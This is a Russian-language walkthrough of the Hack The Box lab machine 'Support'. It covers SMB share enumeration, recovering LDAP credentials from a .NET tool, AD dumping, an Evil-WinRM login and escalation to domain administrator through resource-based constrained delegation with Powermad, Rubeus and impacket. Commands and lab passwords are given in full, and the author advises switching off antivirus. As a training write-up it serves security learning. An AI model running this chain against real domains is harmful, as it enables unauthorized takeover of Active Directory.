Введение
Наверное каждый уважающий себя специалист по информационной безопасности знает, а может и проходил такие испытания как CTF. Это своеобразный мозговой штурм, который заставляет использовать изощренные методы взлома систем или серверов. Их основная задача оттачивать определенные навыки в поиске и эксплуатации отдельного типа уязвимостей. Площадок для тренировок огромное множество и в этой статье я решил остановиться на платформе Hack The Box. Так как мои навыки в этом деле очень малы я решил взять одну из легких машин с названием Support. И сегодня я расскажу тебе как ее пройти.
Подготовка к работе
Перед началом тебе следует ознакомиться с тем, как вообще проходить такие CTF. Прежде всего следует начать со сканирования. Конечно, я пропускаю момент подключения к самой лаборатории при помощи openvpn, но думаю с этим ты разберешься сам. Далее идет анализ портов и поиск уязвимых из них. Не переживай, на каждую дыру есть свой эксплоит, поэтому проводить все вручную тебе не придется. Здесь также важно помнить, что по мимо взлома ты чаще всего должен уметь повышать привилегии в системе. Для этого всего мы будем использовать отдельный софт.
Здесь я коротко описал то, как будет строится наша дальнейшая работа. Приступаем к делу!
Сканирование и анализ
Всю работу я провожу на виртуальной машине Kali Linux, поэтому все команды демонстрируются под нее. Ну а первым делом мы открываем консоль и сканируем машину при помощи любимого nmap.
Bash:
Код:
sudo
nmap -sS -sV -Pn
10.10
.11.174
Первый флаг покажет нам сервис, который стоит на просканированном порту и даст дополнительную информацию о машине, следующий определяет тип сканирования. Я же выбрал SYN. Ну а последний флаг позволяет обойти пинг и без проблем получить результаты сканирования. Кстати о них, рассмотрим полученную информацию и разберемся с тем, что нам нужно.
Код:
Код:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-25 06:40 MSK
Nmap scan report for dc.support.htb (10.10.11.174)
Host is up (0.11s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-09-25 03:41:14Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:window
Здесь стоит обратить внимание на порт 389 и его описание. Как ты видишь там установлен
Active Directory LDAP и в скобках указано доменное имя. Давай проверим его используя утилиту
dig (
domain information groper). Делается это при помощи команды:
Bash:
Код:
dig
@10.10.11.174 +short support.htb any
10.10
.11.174
В консоли ты должен увидеть примерно такой результат:
Bash:
Код:
10.10
.11.174
dc.support.htb.
dc.support.htb. hostmaster.support.htb.
105
900
600
86400
3600
Отлично, мы знаем доменное имя нашей машины. Чтобы не получать ошибки в дальнейшем давай внесем эту информацию в файл
hosts по пути
/etc/hosts. Открываем файл при помощи
nano и указываем в нем такие строки:
Bash:
Код:
# HTB
10.10
.11.174 dc.support.htb support.htb
Итак, мы нашли подозрительный порт и доменные имена нашей жертвы. Теперь ты можешь провести первоначальное подключение.
Подключение и поиск
Чтобы провернуть такую махинацию я буду использовать сетевой протокол SMB. Он позволяет приложениям компьютера читать и записывать файлы, а также запрашивать службы серверных программ в компьютерной сети. Поэтому для нашей работы он более чем подходит. Активируем все это дело командой:
Bash:
Код:
smbclient -N -L
\
\
\
\
10.10
.11.174
В результате этих действий ты должен увидеть такую картину:
Выглядит все многообещающи. Но я остановлюсь на папке support-tools и попробую поискать в ней интересные файлы. Делаем это при помощи запроса:
Bash:
Код:
smbclient -N
\
\
\
\
10.10
.11.174
\
\
support-tools
Отлично! Мы подключились. Осталось проверить, какие файлы у нас есть на анализ. Используем самую простую команду
dir:
Среди тонны ничем не примечательных программ я обратил внимание на файл
UserInfo.exe.zip. Довольно странное расширение для такого архива. Ну а название говорит само за себя. Очевидно файл скрывает нужную нам информацию и чтобы до нее добраться давай скачаем все содержимое при помощи команд.
Код:
Код:
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
Все скачалось и теперь можно проанализировать полученный файл. Я буду это делать при помощи известного
dnSpy. Ты же можешь использовать любой удобный для тебя декомпилятор. Открываем файл и видим следующую картину:
Пошаримся немного по программе и перейдем к делу. Если ты не нашел нужную информацию, то советую заглянуть в
UserInfo.Services и найти там ветку
Protected. Здесь ты найдешь зашифрованный пароль. Теперь надо понять откуда у нас берется информация о пользователях. Для этого прогоним нашу программу через
mono:
Код:
Перед этим тебе следует поместить в отдельную папку все содержимое архива. Отдельно анализировать PE-файл у тебя не получится. По завершении работы программа выдаст такой результат:
Похоже наш файл обращается к серверу, чтобы найти пользователя и узнать о нем более подробную информацию. Воспользуемся этим. Конечно, здесь есть два варианта событий. Либо перехватывать трафик и вынимать из него пароль или же дизассемблировать и пересобирать программу, чтобы узнать алгоритм шифрования. Я воспользуюсь самым простым способом, но если твои навыки реверса выше среднего, то ты можешь попытаться найти ответы в коде программы.
Чтобы все сработало тебе потребуется начинать перехват сразу же после запуска. Адаптер, который тебе нужен называется
tun0. Запускаем программу при помощи команды:
Bash:
Код:
mono UserInfo.exe -v
find
-first seawolf
Теперь тут же начинаем перехват нашего трафика и останавливаем его после завершения работы программы. В результате ты увидишь такую информацию.
Кликаем правой кнопкой мыши по выделенному пакету, выбираем функцию
Следовать и переходим на
протокол TCP. Прекрасно! У нас на руках есть логин и пароль для подключения (
ldpa:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz).
После этого давай попробуем найти всю информацию о пользователях и соответственно сдампим ее при помощи утилит
ldpasearch и
ldpadomaindump. Выполняем команды по такому шаблону:
Bash:
Код:
ldapsearch -x -H ldap://
-D
'\'
-w
''
-b
"CN=Users,DC=SUPPORT,DC=HTB"
Следовательно наш запрос к машине будет выглядеть таким образом:
Bash:
Код:
ldapsearch -x -H ldap://dc.support.htb -D
'SUPPORT\ldap'
-w
'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
-b
"CN=Users,DC=SUPPORT,DC=HTB"
И далее сразу же выполняем наш дамп с использованием тех же данных:
Bash:
Код:
ldapdomaindump -u
'support\ldap'
-p
'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
dc.support.htb
После этого давай проанализируем полученные файлы. Тебе нужно искать пользователя support, он имеет больше всего разрешений, если у тебя это не получилось, то я дам тебе подсказку. Тебе следует копаться в файле
domain_users.json.
Обычно строка info остается пустой в этом файле, но здесь есть какая-то информация, похожая на пароль. Давай попробуем подключиться используя эту строку как данные для входа. Я буду использовать
Evil-WinRM, установим его при помощи команд и попробуем провести соединение:
Bash:
Код:
git
clone https://github.com/Hackplayers/evil-winrm.git
cd
evil-winrm
./evil-winrm.rb -i dc.support.htb -u support -p
"Ironside47pleasure40Watchful"
Есть! Пароль подошел и мы вошли в систему. Что дальше? А дальше нас ожидает первый и последний флаг. Да, я помогу найти тебе пользовательский чекпоинт, но на уровне администратора это придется искать самому. А вот как выглядит наше подключение:
Переходим по пути
C:\Users\support и поищем интересные каталоги. Итак, перед тобой будет такая картина:
Начнем с самого первой папки и посмотрим, что там хранится. На удивление на рабочем столе у нас лежит один текстовый документ, давай скачаем его:
Ты уже мог догадаться, что в этом файле у нас лежит флаг. Не буду задерживать, потому что ты знаешь, что с этим делать. Ну а мы переходим к этапу повышения наших привилегий в системе.
Повышаем привилегии в системе
Здесь я не буду рассказывать путь к уязвимости, а лишь скажу, что она связана с привилегиями пользователя
Support (
GenericAll), которые помогут нам повысить привилегии до уровня системного администратора. Для атаки мы будем использовать три утилиты: impacket, Powermad, Rubeus и SharpHound.
Создадим папку
tools и поместим туда эти программы. Теперь нам надо создать фейковый аккаунт, для нашей работы. Так как мы работает в среде Windows, то нам придется использовать PE-файлы. Поэтому соберем проект
Rubeus при помощи
Visual Studio. Для этого воспользуемся функцией клонирования репозитория.
Далее тебе вылезет надоедливое уведомление о том, что версии NET Framework несовместимы. Выбери рекомендуемое системой решение. Далее открываем файл и нажимаем на основной C# файл правой кнопкой мыши. В выпадающем окне выбираем функцию
Собрать.
Ждем несколько минут, получаем кучу ошибок и понимаем, что наш любимый антивирус видит угрозу там, где ее нет. Отключаем его раз и навсегда и пробуем собрать все по новой. Отлично! Программа готова для работы.
Перекидываем ее в нашу виртуальную машину и помещаем в папку
tools. Теперь переходим к созданию аккаунта. Надеюсь ты не потерял сессию
Evil-WinRM, поскольку нам она пригодится для работы. Приступаем к работе, но для этого нам нужно сначала выгрузить все программы на удаленную машину:
Bash:
Код:
upload /home/user/tools/Powermad/Powermad.ps1 pm.ps1
upload /home/user/tools/Rubeus.exe r.exe
upload /home/user/tools/SharpHound.exe sh.exe
Далее импортируем модуль PowerMad, а также задаем параметры консоли:
Bash:
Код:
./sh.exe --memcache -c all -d SUPPORT.HTB -DomainController
127.0
.0.1
Import-Module ./pm.ps1
Продолжаем наш путь и создаем профиль, при помощи команд:
Bash:
Код:
Set-Variable -Name
"FakePC"
-Value
"FAKE00"
Set-Variable -Name
"targetComputer"
-Value
"DC"
New-MachineAccount -MachineAccount
(
Get-Variable -Name
"FakePC"
)
.Value -Password
$(ConvertTo-SecureString 'qwerty' -AsPlainText -Force)
-Verbose
Далее выдаем привилегии нашему аккаунту и проверяем их наличия, чтобы убедиться в работоспособности софта:
Bash:
Код:
xxxxxxxxxx Set-ADComputer
(
Get-Variable -Name
"targetComputer"
)
.Value -PrincipalsAllowedToDelegateToAccount
((
Get-Variable -Name
"FakePC"
)
.Value +
'$'
)
Get-ADComputer
(
Get-Variable -Name
"targetComputer"
)
.Value -Properties PrincipalsAllowedToDelegateToAccount
Далее создаем хэши нашего аккаунта, для дальнейшей работы. В этом нам поможет Rubeus, поэтому давай воспользуемся им при помощи команды:
Bash:
Код:
./r.exe
hash
/password:qwerty /user:FAKE00$ /domain:support.htb
Оригинальность в моих паролях удивляет многих. Но мы создали профиль для повышения до уровня администратора, поэтому защищать ее при помощи надежного пароля не стоит. Из хэшей ты должен записать
aes256_cts_hmac_sha1. В моей консоли он выглядит так:
423A1F7C254BB2D13EA1F8F2E1A1AB171CDC541CBAD679E207 8E5EE9959F6BA6.
Теперь ты можешь закрыть соединение с машиной и приступить к повышению привилегий. Для этого воспользуемся
impacket и будем выдавать себя за админа. Организуем все это при помощи такой команды:
Bash:
Код:
cd
/home/user/tools/impacket/examples/
sudo
python3 getST.py support.htb/FAKE00 -dc-ip dc.support.htb -impersonate administrator -spn http/dc.support.htb -aesKey 423A1F7C254BB2D13EA1F8F2E1A1AB171CDC541CBAD679E2078E5EE9959F6BA6
Далее экспортируем кэш и становимся администратором:
Bash:
Код:
export
KRB5CCNAME
=
administrator.ccache
sudo
python3 smbexec.py support.htb/administrator@dc.support.htb -no-pass -k
Поздравляю с повышением! Осталось найти последний флаг и можно считать машину пройденной. Но эту часть я оставляю тебе, думаю это не составит проблемы. Также, если ты получаешь ошибки, то рекомендую выполнять команды от имени администратора. В другом случай не забывай создавать голосование на сброс машины, часто это является основной проблемой всех бед.
Подводим итоги
Писать статьи такого типа гораздо сложнее, поэтому я описал все как можно подробнее. Конечно, прохождение не обошлось без помощи, но думаю теперь ты будешь более подробно представлять, как проходить CTF. Support является одной из самых легких машин, но без опыта и прохождения обучения тебе придется сложно.